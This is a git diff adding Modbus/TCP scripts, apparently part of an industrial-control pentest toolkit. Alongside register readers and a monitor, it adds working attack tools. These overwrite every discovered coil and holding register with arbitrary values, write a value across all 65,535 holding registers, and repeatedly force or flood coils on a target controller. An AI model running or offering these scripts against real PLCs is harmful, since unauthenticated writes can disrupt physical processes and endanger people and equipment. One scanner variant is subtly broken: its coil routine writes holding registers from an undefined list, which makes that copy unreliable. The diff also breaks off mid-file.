\"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + 